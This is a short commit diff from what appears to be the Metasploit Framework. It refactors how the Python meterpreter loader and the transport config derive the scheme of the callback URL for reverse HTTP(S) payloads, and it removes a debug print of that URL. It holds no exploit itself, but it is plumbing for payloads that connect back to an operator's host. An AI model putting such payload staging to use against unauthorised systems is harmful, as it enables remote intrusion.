further normalize transport config

Author: busterb

lib/msf/core/payload/python/meterpreter_loader.rb

@@ -119,8 +119,6 @@ def stage_meterpreter(opts={})
 
       callback_url = "#{scheme}://#{lhost}:#{lport}#{ds['LURI']}#{uri}/"
 
-      $stderr.puts callback_url
-
       # patch in the various payload related configuration
       met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
       met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''

lib/msf/core/payload/transport_config.rb

@@ -37,10 +37,6 @@ def transport_config_bind_tcp(opts={})
   def transport_config_reverse_https(opts={})
     ds = opts[:datastore] || datastore
     config = transport_config_reverse_http(opts)
-    config[:scheme] = 'https'
-    if ds['OverrideRequestHost']
-      config[:scheme] = ds['OverrideScheme'] || config[:scheme]
-    end
     config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
                                                ds['HandlerSSLCert'])
     config
@@ -59,7 +55,7 @@ def transport_config_reverse_http(opts={})
 
     ds = opts[:datastore] || datastore
 
-    scheme = 'http'
+    scheme = opts[:url].to_s.split(':')[0]
     lhost = ds['LHOST']
     lport = ds['LPORT']
     if ds['OverrideRequestHost']